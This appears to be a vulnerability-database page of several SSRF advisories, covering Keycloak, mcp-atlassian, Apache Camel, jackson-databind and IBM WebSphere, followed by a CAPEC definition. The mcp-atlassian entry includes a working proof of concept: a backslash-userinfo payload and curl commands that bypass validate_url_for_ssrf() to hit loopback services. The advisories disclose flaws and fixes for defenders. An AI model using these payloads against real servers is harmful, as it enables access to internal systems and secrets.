VLAI
Details

A flaw was found in the X.509 client-certificate authenticator of Keycloak, a solution for identity and access management. The issue occurs when the server is configured to check certificate revocation using CRL Distribution Points or OCSP. An attacker can provide a specially crafted certificate that points to a malicious server, causing Keycloak to make unauthorized outbound requests to internal or external endpoints before the certificate is fully validated. This can lead to a blind server-side request forgery (SSRF) attack.

Summary
MCP Atlassian: SSRF Protection Bypass
Details

Environment

  • Project: sooperset/mcp-atlassian
  • Affected function: validate_url_for_ssrf()
  • Affected path: header-based Jira/Confluence URL authentication flow
  • Tested endpoint: POST /mcp
  • Tested version: 2.14.5

Description

The SSRF protection in validate_url_for_ssrf() can be bypassed with a URL containing a backslash before userinfo-like syntax.

Affected code:

parsed = urlparse(url)
hostname = parsed.hostname
...
ip_error = _check_ip_address(hostname)
...
dns_error = _check_dns_resolution(hostname)

Payload:

http://127.0.0.1:6666\@www.baidu.com

For this input, urllib.parse.urlparse() treats the hostname as:

www.baidu.com

Therefore, validate_url_for_ssrf() validates www.baidu.com instead of 127.0.0.1. However, the downstream request made through the Atlassian client / requests.Session reaches the local service:

http://127.0.0.1:6666/%5C@www.baidu.com/rest/api/2/myself

This allows an attacker-controlled Jira URL to target loopback or internal services.

Proof of Concept

Start a local HTTP server:

python3 -m http.server 6666 --bind 127.0.0.1

Start mcp-atlassian with streamable HTTP transport on port 9000.

Initialize an MCP session with the malicious Jira URL:

curl -i http://127.0.0.1:9000/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
  --data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"ssrf-test","version":"0.1"}}}'

Send the initialized notification using the returned Mcp-Session-Id:

curl -i http://127.0.0.1:9000/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'mcp-session-id: <SESSION_ID>' \
  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
  --data '{"jsonrpc":"2.0","method":"notifications/initialized"}'

Trigger Jira fetcher creation and token validation:

curl -i http://127.0.0.1:9000/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'mcp-session-id: <SESSION_ID>' \
  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
  --data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jira_get_issue","arguments":{"issue_key":"TEST-1"}}}'

Observed response:

image

The local HTTP server also receives the request, confirming SSRF.

image

Root Cause

The security validation and the actual HTTP request do not use the same URL interpretation.

  • validate_url_for_ssrf() uses urllib.parse.urlparse() and validates parsed.hostname.
  • For the payload, parsed.hostname is www.baidu.com.
  • The actual request is sent by the Atlassian client through requests.Session.
  • requests treats the target as 127.0.0.1:6666 and percent-encodes the backslash into the request path.

This parser mismatch allows a restricted host to be hidden before \@.

Impact

An attacker who can provide X-Atlassian-Jira-Url or X-Atlassian-Confluence-Url may force the server to send requests to loopback or internal services despite SSRF validation.

Summary
Apache Camel-Vertx-Websocket: The inbound consumer maps externally-supplied WebSocket query and path parameters into the Exchange without a HeaderFilterStrategy
Details

Improper Input Validation, Exposure of Sensitive Information to an Unauthorized Actor, Server-Side Request Forgery (SSRF) vulnerability in Apache Camel in Vertx Websocket component.

The camel-vertx-websocket consumer mapped inbound WebSocket query and path parameters into the Camel Exchange header map without applying any HeaderFilterStrategy (VertxWebsocketConsumer.populateExchangeHeaders()). Because nothing blocked the Camel header namespace, a client connecting to the WebSocket endpoint could set Camel-internal control headers - including CamelHttpUri (Exchange.HTTP_URI) - simply by supplying them as query parameters. In a route where the WebSocket consumer feeds a downstream HTTP producer, the injected CamelHttpUri redirects the server-side HTTP request to an attacker-chosen destination (server-side request forgery - for example to an internal service or a cloud metadata endpoint). In addition, the HTTP producer resolves Camel property placeholders on the resulting (attacker-controlled) URI, so placeholders embedded in the injected value - such as an environment-variable reference, an application property, or a vault reference - are resolved to their real values and sent to the attacker, disclosing environment variables, application properties and vault secrets. When the WebSocket endpoint is exposed without authentication, this is reachable by an unauthenticated remote attacker. This issue affects Apache Camel: from 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0.

Users are recommended to upgrade to version 4.21.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.8. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.3. The fix makes the affected consumers apply a HeaderFilterStrategy that filters the Camel header namespace case-insensitively on inbound mapping, so externally-supplied Camel / camel headers are no longer copied into the Exchange. For deployments that cannot upgrade immediately, strip the Camel control headers from the inbound message before they reach any downstream producer (for example removeHeaders('Camel') and removeHeaders('camel') at the start of the route), require authentication on the WebSocket endpoint, and avoid bridging an untrusted consumer directly into an HTTP producer whose target URI can be driven from message headers.

  "details": "Improper Input Validation, Exposure of Sensitive Information to an Unauthorized Actor, Server-Side Request Forgery (SSRF) vulnerability in Apache Camel in Vertx Websocket component.\n\nThe camel-vertx-websocket consumer mapped inbound WebSocket query and path parameters into the Camel Exchange header map without applying any HeaderFilterStrategy (VertxWebsocketConsumer.populateExchangeHeaders()). Because nothing blocked the Camel header namespace, a client connecting to the WebSocket endpoint could set Camel-internal control headers - including CamelHttpUri (Exchange.HTTP_URI) - simply by supplying them as query parameters. In a route where the WebSocket consumer feeds a downstream HTTP producer, the injected CamelHttpUri redirects the server-side HTTP request to an attacker-chosen destination (server-side request forgery - for example to an internal service or a cloud metadata endpoint). In addition, the HTTP producer resolves Camel property placeholders on the resulting (attacker-controlled) URI, so placeholders embedded in the injected value - such as an environment-variable reference, an application property, or a vault reference - are resolved to their real values and sent to the attacker, disclosing environment variables, application properties and vault secrets. When the WebSocket endpoint is exposed without authentication, this is reachable by an unauthenticated remote attacker.\nThis issue affects Apache Camel: from 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0.\n\nUsers are recommended to upgrade to version 4.21.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.8. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.3. The fix makes the affected consumers apply a HeaderFilterStrategy that filters the Camel header namespace case-insensitively on inbound mapping, so externally-supplied Camel* / camel* headers are no longer copied into the Exchange. For deployments that cannot upgrade immediately, strip the Camel control headers from the inbound message before they reach any downstream producer (for example removeHeaders(\u0027Camel*\u0027) and removeHeaders(\u0027camel*\u0027) at the start of the route), require authentication on the WebSocket endpoint, and avoid bridging an untrusted consumer directly into an HTTP producer whose target URI can be driven from message headers.",

Summary
jackson-databind: InetSocketAddress deserialization triggers eager DNS resolution (SSRF)
Details

Summary

JDKFromStringDeserializer constructed InetSocketAddress with new InetSocketAddress(host, port), which performs eager DNS name resolution for hostname inputs at deserialization time. An application that binds untrusted JSON into a type containing an InetSocketAddress field issues an attacker-chosen DNS query during readValue, before any application-level validation or connect logic. The fix uses InetSocketAddress.createUnresolved(host, port), deferring DNS to an explicit connect.

Impact

An attacker controlling JSON deserialized into an InetSocketAddress-bearing type can force outbound DNS lookups for attacker-chosen hostnames at deserialization time (SSRF / DNS-based out-of-band interaction / internal-resolver probing), purely from binding.

Affected / Patched (verified via git tag --contains on 1f5a103)

  • 2.18 line: >= 2.18.0, < 2.18.8 -> fixed in 2.18.8
  • 2.19-2.21 line: >= 2.19.0, < 2.21.4 -> fixed in 2.21.4
  • 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4

Severity / CWE

Maintainer: minor. Reporter: LOW. CWE-918 (SSRF).

Upstream fix

FasterXML/jackson-databind#5951 ("Improve InetSocketAddress deserialization"). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.

IBM WebSphere Extreme Scale 8.6.1.0 through 8.6.1.6 Approximately 50 generated CORBA stub classes in WebSphere eXtreme Scale's ogclient.jar call ORB.string_to_object() on an attacker-controlled IOR string during Java deserialization, turning any unfiltered ObjectInputStream sink in WAS into outbound IIOP SSRF to an attacker-chosen host; when chained with the IBM ORB's getUserException class-instantiation flaw (WAS-26), this SSRF escalates to remote code execution on the calling JVM.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.
